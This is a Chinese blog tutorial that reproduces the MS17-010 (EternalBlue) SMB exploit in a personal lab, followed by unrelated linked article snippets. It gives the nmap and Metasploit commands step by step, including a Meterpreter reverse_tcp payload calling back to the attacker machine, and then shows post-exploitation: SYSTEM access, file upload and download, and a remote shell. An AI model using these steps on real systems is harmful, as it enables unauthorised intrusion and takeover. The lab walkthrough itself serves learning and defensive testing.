ms17-010(永恒之蓝)漏洞复现

目录

前言

一、了解渗透测试流程 

二、使用nmap工具对win7进行扫描

2.1

2.2

2.3

2.4

2.5

三、尝试ms17-010漏洞利用

3.1

3.2

3.3

3.4

3.5

3.6

3.7

3.8

3.9

3.10

3.11

四、结果展示

4.1

4.2

4.3

4.4

4.5

总结


前言

ms17-010(永恒之蓝)利用的端口是445端口。

本文主要讲解ms17-010(永恒之蓝)漏洞复现,分为四个部分:了解渗透测试流程 ,使用nmap工具对win7进行扫描,尝试ms17-010漏洞利用,结果展示。第一部分“了解渗透测试流程”可以略过,可以直接从第二部分“使用nmap工具对win7进行扫描”开始看起。


一、了解渗透测试流程 

这里简单介绍一下渗透测试流程 :

  1. 信息收集:使用网络扫描工具(如Nmap)进行主机发现和端口扫描,以获取目标系统的基本信息。也可以通过搜索引擎、WHOIS查询和公开数据库来获取更多的信息。

  2. 脆弱性分析:使用漏洞扫描工具(例如OpenVAS、Nessus或Nexpose)来识别目标系统中存在的已知漏洞。同时也可以手动进行代码审计、配置文件分析和渗透测试专用的脆弱性检测工具。

  3. 漏洞利用:一旦确定存在漏洞,渗透测试人员可以使用各种渗透工具和技术来利用这些漏洞。例如,使用Metasploit框架进行自动化攻击、编写自定义的Exploit代码或使用社会工程学技术进行钓鱼攻击。

  4. 权限维持:在成功获取系统访问权限后,渗透测试人员可能会尝试维持该权限以进一步深入探索目标网络。这可能包括创建后门、提权、横向移动和隐藏攻击足迹等技术手段。

  5. 数据分析:渗透测试人员会对从目标系统中获取的数据进行分析,以发现潜在的攻击路径和弱点。同时,还可以使用日志分析工具和网络流量分析工具来辅助分析。

  6. 清理和报告:在完成渗透测试后,及时清理测试痕迹以减少安全风险。然后,渗透测试人员会生成详细的报告,包括发现的漏洞、影响评估和建议的修复措施,以帮助目标组织加强安全措施。

需要强调的是,进行渗透测试时应事先获得授权,并始终遵守法律和道德准则。渗透测试是一种为了提升系统安全性而进行的评估活动,目的是帮助组织发现和修复潜在的漏洞,提升整体的安全水平。

二、使用nmap工具对win7进行扫描

Nmap(Network Mapper)是一个开源的网络扫描和端口扫描工具。它被用于发现网络上的主机、端口和服务,以及评估网络的安全性。Nmap具有强大的功能,可以进行主机发现、端口扫描、操作系统识别、服务和应用程序版本检测等。它被广泛应用于网络管理员、安全专家和黑客等领域。

2.1

进入已经在虚拟机中搭配好的kali环境,打开kali终端。输入

sudo su

获得root权限。

2.2

输入

ifconfig

查看kali的IP地址。

这里我的kali的IP地址是192.168.216.129。

2.3

打开已经在虚拟机中搭配好的win7环境,win+r调出命令行,输入

ifconfig

查看win7的IP地址。

这里我的win7的IP地址是192.168.216.128。

2.4

返回kali,输入

ping 192.168.216.128 -c 4

查看它们的网络是否能互通。注意如果没有设置ping的次数,kali会一直ping,所以这里要加入一些参数来限制ping的次数,-c 4的意思就是ping4次。

必须互相ping通才能开始攻击,这里kali,win7使用的是同一个网络模式:NAT模式。

2.5

当kali和win7能够互相通信后,我们再利用Nmap对win7进行信息收集。输入

nmap 192.168.216.128 -sS

我的扫描结果是:

port:接口,state:状态,service:服务程序。

扫描的结果显示,win7开放了21,135,138,445,3389等端口。

ms17-010(永恒之蓝)利用的端口就是445端口。

三、尝试ms17-010漏洞利用

ms17_010 是一种操作系统漏洞,仅影响 Windows 系统中的 SMBv1 服务。这个漏洞是由于 SMBv1 内核函数中的缓冲区溢出而导致的。攻击者可以通过该漏洞控制目标系统,并执行任意代码。这个漏洞通过 445 文件共享端口进行利用,一旦攻击者成功利用该漏洞,就可以在目标主机上植入各种恶意软件,如勒索软件。最近出现的 WannaCry 勒索软件就使用 ms17_010 漏洞来传播和植入勒索代码,将目标系统中的所有文件加密并威胁用户付款。由于该漏洞易受攻击,且已经公开和广泛利用,因此建议 Windows 系统用户及时进行安全更新以避免被攻击。对于其渗透测试相关应用,可以使用 Metasploit 和其他渗透测试框架进行利用和测试。

3.1

在kali环境中,输入

msfconsole

在这里我要解释一下为什么要输入这条命令:

Metasploit是当前信息安全与渗透测试领域最流行的术语,它完全颠覆了已有的渗透测试方式。几乎所有流行的操作系统都支持Metasploit, 而且Metasploit框架在这些系统上的工作流程基本都一样。本章中的示例以Kali操作系统为基础,该操作系统预装Metasploit及在其上运行的第三方工具。Kali系统的下载地址为http://www.kali.org/downloads/

Metasploit框架(Metasploit Framework, MSF)是一个开源工具, 旨在方便渗透测试,它是由Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。

Metasploit可向后端模块提供多种用来控制测试的接口(如控制台、Web、CLI)。推荐使用控制台接口,通过控制台接口,你可以访问和使用所有Metasploit的插件,例如Payload、 利用模块、Post模块等。 Metasploit还有第三方程序的接口,例如Nmap、SQLMap等, 可以直接在控制台接口里使用,要访问该界面,需要在命令行下输入msfconsole,MSF的启动界面如图所示。

msfconsole和metasploit的关系:msfconsole是metasploit的一个交互式命令行接口。

3.2

继续输入

search ms17-010

可以得到很多模块:

exploit是攻击模块,auxiliary是辅助模块。

3.3

这里我们采用第三个模块,输入

use 3

得到如图所示:

3.4

接着输入

show options

查看对应的配置信息:

yes表示是你必须要填写的一些信息。这里缺少rhosts,也就是你要攻击的目标IP地址。

3.5

设置一个要攻击的IP

set rhosts 192.168.216.128

如图所示:

192.168.216.128是我的虚拟机win7地址。

3.6

直接run

run

结果如图:

没有报错,结果显示我们可以直接利用ms17-010(永恒之蓝)这个漏洞

3.7

真正攻击使用的模块是use 0,输入

use 0

结果如图:

3.8

设置攻击载荷

set payload windows/x64/meterpreter/reverse_tcp

结果如图:

meterpreter是一种渗透工具,reverse_tcp的意思是采用反向连接。反向连接是被攻击者主动连接攻击者,所以不受防火墙策略的限制。

3.9

查看还要配置的东西,输入

show options

结果如图:

我这里缺少rhosts和lhost

3.10

把缺少的补上,输入

set rhosts 192.168.216.128

如图:

192,168.216.128是被攻击的win7的IP地址。

继续输入

set lhost 192.168.216.129

如图:

192,168.216.129是发动攻击的kali的IP地址。

3.11

前面步骤弄好后,run一下发动攻击。

run

结果如图所示:

WIN,攻击成功了!!!

通过kali接管了win7!!!

四、结果展示

4.1

继续在kali终端输入

screenshot

screenshot是指对屏幕或特定应用程序界面进行截图或屏幕截取的操作。

如图所示:

意思是已经将win7系统页面截图,并将图片命名为giSWaQ0g.jpeg,保存在kali桌面上。

在kali桌面上,我已经将giSWaQ0g.jpeg重命名为了1.jpg。

所以看到的是:

4.2

查看获得的权限,输入

getuid

如图所示:

"NT AUTHORITY\SYSTEM" 是指 Windows 操作系统中的一个内置的系统用户账户。"NT AUTHORITY" 是一个特殊的身份验证提供者,用于表示操作系统级别的权限。"SYSTEM" 是指代该账户是以系统级别权限运行的。

"NT AUTHORITY\SYSTEM" 账户具有非常高的权限,在 Windows 系统中拥有完全的访问权限,可以对系统文件、注册表和其他系统资源进行操作。它通常被系统服务、操作系统进程和某些应用程序使用,用于运行关键任务和操作。

该账户拥有极高的权限,要谨慎使用和修改与其相关的设置,不当的更改可能会导致系统不稳定或运行故障。一般情况下,普通用户无法直接登录或操作 "NT AUTHORITY\SYSTEM" 账户。

4.3

接下来将1.jpg图片上传到win7里面,这里将1.jpg重命名为filotimo.jpg,输入

upload /home/kali/Desktop/1.jpg c://filotimo.jpg

结果如图:

可以在win7系统c盘中看到出现了一张名为filotimo.jpg的图片。

这里你甚至可以上传木马,什么都可以!!!

4.4

下载可以在kali终端继续输入

download c://filotimo.jpg /home/kali/Desktop/2.jpg

这是将win7里的filotimo.jpg图片下载到了kali桌面上,并重命名为2.jpg。

结果如图:

这里可以看到kali桌面上出现了一个2.jpg。

4.5

在kali终端中继续输入

shell

此命令可以进入win7的cmd命令行,如图所示:


总结

更多实验结果我就不一一展示了。此次漏洞复现我是用自己的虚拟机环境kali攻击自己的另一个虚拟机环境win7,如果你们要复现的话,我也建议先拿自己试手。

关注,点赞,收藏,希望友友们能一键三连哦!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/73924.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

插入排序,选择排序,交换排序,归并排序和非比较排序(C语言版)

前言 所谓排序,就是将一组数据按照递增或者递减的方式进行排列,让这组数据变得有序起来。排序在生活中运用的是十分广泛的,各行各业都用到了排序,比如我们在网购的时候就是按照某种排序的方式来选择东西的。所以去了解排序的实现也…

【云原生】Kubeadmin部署Kubernetes集群

目录 ​编辑 一、环境准备 1.2调整内核参数 二、所有节点部署docker 三、所有节点安装kubeadm,kubelet和kubectl 3.1定义kubernetes源 3.2开机自启kubelet 四、部署K8S集群 4.1查看初始化需要的镜像 4.2在 master 节点上传 v1.20.11.zip 压缩包至 /opt 目录…

【多线程】线程安全 问题

线程安全 问题 一. 线程不安全的典型例子二. 线程安全的概念三. 线程不安全的原因1. 线程调度的抢占式执行2. 修改共享数据3. 原子性4. 内存可见性5. 指令重排序 一. 线程不安全的典型例子 class ThreadDemo {static class Counter {public int count 0;void increase() {cou…

Matlab之DICOM(数字图像和通信医学)格式图像数据读取函数dicomread

一、DICOM是什么? DICOM是数字图像和通信医学格式的图像数据,在MATLAB中,可以使用dicomread函数读取DICOM格式的图像数据。 二、dicomread函数 使用方法如下: imageData dicomread(filename);其中,filename表示DI…

Axure RP美容美妆医美行业上门服务交互原型图模板源文件

Axure RP美容美妆医美行业上门服务交互原型图模板源文件,原型内容属于电商APP,区别于一般电商,它的内容是‘美容美发美妆等’上门服务等。大致流程是线上买单,线下实体店核销消费。 附上预览演示:axure9.com/mobile/73…

博客程序系统其它功能扩充

一、注册功能 1、约定前后端接口 2、后端代码编写 WebServlet("/register") public class RegisterServlet extends HttpServlet {Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {//设置…

LeetCode 3. 无重复字符的最长子串

题目链接 力扣(LeetCode)官网 - 全球极客挚爱的技术成长平台 题目解析 我们需要找的是含重复元素的最长子串,当然直接暴力求解固然简单。但是可能引发的情况是超时,而且面试官想看到的也不是让你去暴力解决这类问题。因此我们使…

strerror函数

目录 strerror 函数介绍&#xff1a; 举例&#xff1a; 使用案例&#xff1a; 优化&#xff1a; perror&#xff1a; strerror 函数介绍&#xff1a; 函数声明&#xff1a; char * strerror ( int errnum );头 文 件&#xff1a;#include <string.h>返 回 值&a…

SpringBoot+MP操作DM8

1. 达梦数据库介绍 达梦数据库管理系统是达梦公司推出的具有完全自主知识产权的国产高性能数据库管理系统&#xff0c;简称DM。当前最新版本是8.0版本&#xff0c;简称DM8。&#xff08;同时也是一款RDBMS&#xff0c;关系型数据库管理系统&#xff0c;和oracle比较像&#xff…

红米Note12Turbo解锁BL刷入PixelExperience原生ROM系统详细教程

红米Note12Turbo的兄弟是国外POCO F5 机型&#xff0c;并且该机性价比非常高&#xff0c;国内外销量也还可以&#xff0c;自然不缺第三方ROM适配。目前大家心心念念的原生PixelExperience已成功发布&#xff0c;并且相对来说&#xff0c;适配程度较高&#xff0c;已经达到日用的…

python实现adb辅助点击屏幕工具

#!/usr/bin/env python # -*- coding: utf-8 -*-import re import os import time import subprocess import tkinter as tk from tkinter import messagebox from PIL import Image, ImageTk# 设置ADB路径&#xff08;根据你的系统和安装路径进行调整&#xff09; ADB_PATH C…

intellij debug模式提示 : Method breakpoints may dramatically slow down debugging

最近在搞一个搭建一个项目 , 项目搭建完之后发现启动不了 , 一直都是正在加载中 并且提示Method breakpoints may dramatically slow down debugging&#xff0c;百度之后才知道是打了方法断点的原因 , 之前不小心打了一个断点 解决办法 : 点击如下图所示的按钮 然后把有断点…

Linux_VMware_虚拟机磁盘扩容

来源文章 &#xff1a;VMware教学-虚拟机扩容篇_vmware虚拟机扩容_系统免驱动的博客-CSDN博客 由于项目逐步的完善&#xff0c;需要搭建的中间件&#xff0c;软件越来越多&#xff0c;导致以前虚拟机配置20G的内存不够用了&#xff0c;又不想重新创建新的虚拟机&#xff0c;退…

为什么说网络安全是风口行业?是it行业最后的红利?

前言 “没有网络安全就没有国家安全”。当前&#xff0c;网络安全已被提升到国家战略的高度&#xff0c;成为影响国家安全、社会稳定至关重要的因素之一。 网络安全行业特点 1、就业薪资非常高&#xff0c;涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万&…

ucosii任务切换及任务同步

任务的切换 一、 运行态&#xff1a;占用CPU 二、 等待&#xff1a;调用Pend或延时函数后&#xff0c;释放CUP使用权。 三、 就绪&#xff1a;Pend条件满足&#xff08;消息到来、等待超时&#xff09;&#xff0c;延时时间完毕后&#xff08;由等待进入就绪&#xff09; 四、 …

LeetCode 297. Serialize and Deserialize Binary Tree【树,DFS,BFS,设计,二叉树,字符串】困难

本文属于「征服LeetCode」系列文章之一&#xff0c;这一系列正式开始于2021/08/12。由于LeetCode上部分题目有锁&#xff0c;本系列将至少持续到刷完所有无锁题之日为止&#xff1b;由于LeetCode还在不断地创建新题&#xff0c;本系列的终止日期可能是永远。在这一系列刷题文章…

机器学习入门教学——决策树

1、简介 决策树算法是一种归纳分类算法&#xff0c;它通过对训练集的学习&#xff0c;挖掘出有用的规则&#xff0c;用于对新数据进行预测。决策树算法属于监督学习方法。决策树归纳的基本算法是贪心算法&#xff0c;自顶向下来构建决策树。 贪心算法&#xff1a;在每一步选择…

MR源码解析和join案例

MR源码解析 new Job(): 读取本地文件, xml配置job.start(): 启动线程job的run():线程方法 runTasks(): 传入对应的接口&#xff0c;启动map或者reduceMapTask类的run(): 设置map阶段的参数&#xff0c;初始化任务&#xff0c;创建上下文对象 创建读取器LineRecordReader判断是…

Visual Studio 新建类从默认internal改为public

前言 之前一直用的Resharp辅助编写C#代码&#xff0c;Resharp用起来的确方便不少&#xff0c;但是太消耗开发机内存了。重装电脑后&#xff0c;还是决定使用Visual Studio内置的功能。 默认情况下&#xff0c;Visual Studio 中生成一个类或接口是internal类型的&#xff0c;而…

EagleSDR USB HAT FT600

给EagleSDR做了个USB 3.0的子卡&#xff0c;采用FT600方案&#xff0c;实物如下&#xff1a; 用FT600DataStreamerDemoApp测试&#xff0c;速度如下&#xff1a; 由于FT600是16bit的接口&#xff0c;如果用FT601的32bit接口&#xff0c;性能应该还会有大幅提升。 测试代码很简…